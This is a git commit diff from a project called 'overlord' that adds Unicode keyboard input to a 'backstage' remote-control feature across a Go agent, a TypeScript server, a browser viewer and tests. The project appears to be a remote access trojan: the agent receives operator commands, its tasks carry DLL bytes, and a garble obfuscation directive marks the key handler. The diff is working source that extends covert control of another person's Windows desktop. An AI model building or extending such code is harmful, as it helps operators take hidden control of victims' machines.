vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

add all keyboard langs to backstage + fix test

Browse Source
This commit is contained in:
KingKDot
2026-07-30 14:59:00 -05:00
parent 91e9b3196a
commit 7369aa7014
10 changed files with 132 additions and 21 deletions
Download Patch File Download Diff File Expand all files Collapse all files
.gitattributes
+2
View File
@@ -4,6 +4,8 @@
# Force LF line endings for Go source files
*.go text eol=lf
Overlord-Server/src/generated/wire-contract.ts text eol=lf
# Force CRLF for Windows batch files
*.bat text eol=crlf
Overlord-Client/cmd/agent/capture/backstage_keyboard_windows_test.go
+33
View File
@@ -0,0 +1,33 @@
//go:build windows
package capture
import "testing"
func TestPrintableKeyText(t *testing.T) {
t.Parallel()
tests := []struct {
name string
in string
want string
}{
{name: "latin", in: "é", want: "é"},
{name: "cyrillic", in: "ж", want: "ж"},
{name: "cjk", in: "你", want: "你"},
{name: "supplementary plane", in: "😀", want: "😀"},
{name: "named key", in: "Enter", want: ""},
{name: "control", in: "\n", want: ""},
{name: "empty", in: "", want: ""},
}
for _, tt := range tests {
tt := tt
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
if got := printableKeyText(tt.in); got != tt.want {
t.Fatalf("printableKeyText(%q) = %q, want %q", tt.in, got, tt.want)
}
})
}
}
Overlord-Client/cmd/agent/capture/backstage_stub.go
+1 -1
View File
@@ -47,7 +47,7 @@ func BackstageInputMouseUp(button int) error {
return errors.New("backstage not supported on this platform")
}
func BackstageInputKeyDown(vk uint16) error {
func BackstageInputKeyDown(vk uint16, text string) error {
return errors.New("backstage not supported on this platform")
}
Overlord-Client/cmd/agent/capture/backstage_uia_windows.go
+14 -8
View File
@@ -1425,13 +1425,15 @@ func uiaHandleMouseWheel(hwnd uintptr, screenPt point, delta int32) error {
return nil
}
func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error {
func uiaHandleKey(hwnd uintptr, vk uint16, text string, down bool) error {
uiaEnsureWorker()
inputSite := findInputSiteChild(hwnd)
if inputSite != 0 {
if down {
if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
if text != "" && !isNonPrintableVK(vk) {
postTextMessage(inputSite, text)
} else if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
for _, r := range ch {
procPostMessageW.Call(inputSite, WM_CHAR, uintptr(r), uintptr(1))
}
@@ -1445,6 +1447,7 @@ func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error {
if down {
key := vk
keyText := text
uiaRunAsync(func() {
if uiaSingleton == nil {
return
@@ -1452,7 +1455,7 @@ func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error {
if !isModifierVK(key) && !isNonPrintableVK(key) {
elem := uiaSingleton.GetFocusedElement()
if elem != nil {
uiaTypeChar(elem, key)
uiaTypeChar(elem, key, keyText)
elem.Release()
}
} else if key == 0x08 || key == 0x2E {
@@ -1543,7 +1546,7 @@ func uiaScrollElement(elem *iuiAutomationElement, delta int32) bool {
return true
}
func uiaTypeChar(elem *iuiAutomationElement, vk uint16) bool {
func uiaTypeChar(elem *iuiAutomationElement, vk uint16, text string) bool {
pat := elem.GetCurrentPattern(uiaValuePatternID)
if pat == nil {
return false
@@ -1551,13 +1554,16 @@ func uiaTypeChar(elem *iuiAutomationElement, vk uint16) bool {
vp := (*iuiAutomationValuePattern)(unsafe.Pointer(pat))
defer vp.Release()
ch := virtualKeyToChars(vk)
if len(ch) == 0 {
return false
if text == "" {
ch := virtualKeyToChars(vk)
if len(ch) == 0 {
return false
}
text = string(ch)
}
current := vp.GetCurrentValue()
newVal := current + string(ch)
newVal := current + text
vp.SetValue(newVal)
return true
}
Overlord-Client/cmd/agent/capture/backstage_windows.go
+30 -7
View File
@@ -13,6 +13,7 @@ import (
"sync/atomic"
"syscall"
"time"
"unicode/utf8"
"unsafe"
)
@@ -223,6 +224,7 @@ type backstageTask struct {
y int32
button int
vk uint16
text string
delta int32
dllBytes []byte
captureDllBytes []byte
@@ -510,9 +512,9 @@ func ensurebackstageThread() error {
case backstageTaskMouseUp:
result.err = backstageMouseButtonOnThread(task.button, false)
case backstageTaskKeyDown:
result.err = backstageKeyOnThread(task.vk, true)
result.err = backstageKeyOnThread(task.vk, task.text, true)
case backstageTaskKeyUp:
result.err = backstageKeyOnThread(task.vk, false)
result.err = backstageKeyOnThread(task.vk, "", false)
case backstageTaskMouseWheel:
result.err = backstageMouseWheelOnThread(task.delta)
case backstageTaskAutoStartExplorer:
@@ -650,8 +652,8 @@ func BackstageInputMouseUp(button int) error {
return result.err
}
func BackstageInputKeyDown(vk uint16) error {
result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk}, 3*time.Second)
func BackstageInputKeyDown(vk uint16, text string) error {
result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk, text: printableKeyText(text)}, 3*time.Second)
if err != nil {
return err
}
@@ -1229,7 +1231,7 @@ func backstageMouseButtonOnThread(button int, down bool) error {
return nil
}
func backstageKeyOnThread(vk uint16, down bool) error {
func backstageKeyOnThread(vk uint16, text string, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentbackstageCursor()
hwnd := windowFromPoint(pt)
@@ -1260,7 +1262,7 @@ func backstageKeyOnThread(vk uint16, down bool) error {
if isModifierVK(vk) {
return nil
}
return uiaHandleKey(hwnd, vk, down)
return uiaHandleKey(hwnd, vk, text, down)
}
if isModifierVK(vk) {
@@ -1268,7 +1270,9 @@ func backstageKeyOnThread(vk uint16, down bool) error {
}
if down {
if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
if text != "" && !isNonPrintableVK(vk) {
postTextMessage(hwnd, text)
} else if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
for _, r := range ch {
procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1))
}
@@ -1281,6 +1285,25 @@ func backstageKeyOnThread(vk uint16, down bool) error {
return nil
}
func printableKeyText(text string) string {
if !utf8.ValidString(text) || utf8.RuneCountInString(text) != 1 {
return ""
}
r, _ := utf8.DecodeRuneInString(text)
if r < 0x20 || r == 0x7f {
return ""
}
return text
}
func postTextMessage(hwnd uintptr, text string) {
for _, unit := range syscall.StringToUTF16(text) {
if unit != 0 {
procPostMessageW.Call(hwnd, WM_CHAR, uintptr(unit), uintptr(1))
}
}
}
func foregroundWindow() uintptr {
r, _, _ := procGetForegroundWindow.Call()
return r
Overlord-Client/cmd/agent/handlers/command.go
+7 -2
View File
@@ -80,6 +80,7 @@ type backstageInputEvent struct {
button int
delta int32
vk uint16
text string
}
type voiceRuntime struct {
@@ -233,7 +234,7 @@ func ensurebackstageInputWorker() {
log.Printf("backstage input worker: mouse_wheel failed: %v", err)
}
case BackstageInputKeyDown:
if err := capture.BackstageInputKeyDown(ev.vk); err != nil {
if err := capture.BackstageInputKeyDown(ev.vk, ev.text); err != nil {
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
}
case BackstageInputKeyUp:
@@ -1736,10 +1737,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
text := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
if v, ok := payload["text"].(string); ok {
text = v
}
}
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
@@ -1750,7 +1755,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyDown(vk)
return nil
}
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk, text: text})
}
return nil
case "backstage_key_up":
Overlord-Server/public/assets/backstage.js
+10 -1
View File
@@ -1740,7 +1740,16 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const kbdCapture = createKeyboardCapture({
container: canvasContainer,
sendKeyDown: (e) => {
if (desiredStreaming) sendCmd("backstage_key_down", { key: e.key, code: e.code });
if (!desiredStreaming) return;
const altGraph = typeof e.getModifierState === "function" && e.getModifierState("AltGraph");
const printable = typeof e.key === "string"
&& Array.from(e.key).length === 1
&& (!e.ctrlKey && !e.metaKey && !e.altKey || altGraph);
sendCmd("backstage_key_down", {
key: e.key,
code: e.code,
text: printable ? e.key : "",
});
},
sendKeyUp: (e) => {
if (desiredStreaming) sendCmd("backstage_key_up", { key: e.key, code: e.code });
Overlord-Server/src/server/ws-console-rd-backstage.test.ts
+28
View File
@@ -418,6 +418,34 @@ describe("remote desktop viewer control", () => {
});
describe("backstage viewer control", () => {
test("forwards browser-resolved Unicode text with backstage key presses", () => {
const clientId = `backstage-unicode-${Date.now().toString(36)}`;
const { agentWs } = createClient(clientId);
const viewer = createMockWs({ role: "backstage_viewer", clientId });
handlebackstageViewerOpen(viewer as any);
backstageStreamingState.set(clientId, {
isStreaming: true,
virtualMode: false,
display: 0,
quality: 90,
codec: "",
maxFps: 120,
lastFps: 0,
});
handlebackstageViewerMessage(viewer as any, JSON.stringify({
type: "backstage_key_down",
key: "ж",
code: "KeyS",
text: "ж",
}));
const command = agentCommands(agentWs)
.find((msg) => msg.commandType === "backstage_key_down");
expect(command?.payload).toEqual({ key: "ж", code: "KeyS", text: "ж" });
});
test("forwards backstage_stop even when server stream state is stale", () => {
const clientId = `backstage-stale-stop-${Date.now().toString(36)}`;
const { agentWs } = createClient(clientId);
Overlord-Server/src/server/ws-console-rd-backstage.ts
+5 -1
View File
@@ -1392,7 +1392,11 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
case "backstage_key_down":
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", { key: payload.key || "", code: payload.code || "" });
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", {
key: String(payload.key || ""),
code: String(payload.code || ""),
text: String(payload.text || ""),
});
break;
case "backstage_key_up":
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_up", { key: payload.key || "", code: payload.code || "" });
scripts/generate-wire-protocol.ts
+2 -1
View File
@@ -274,7 +274,8 @@ func IsServerToAgentMessageType(value string) bool {
async function emit(path: string, content: string): Promise<void> {
if (checkOnly) {
const current = await Bun.file(path).text().catch(() => "");
if (current !== content) {
const normalizeLineEndings = (value: string) => value.replace(/\r\n/g, "\n");
if (normalizeLineEndings(current) !== normalizeLineEndings(content)) {
console.error(`Generated artifact is stale: ${path}`);
process.exitCode = 1;
}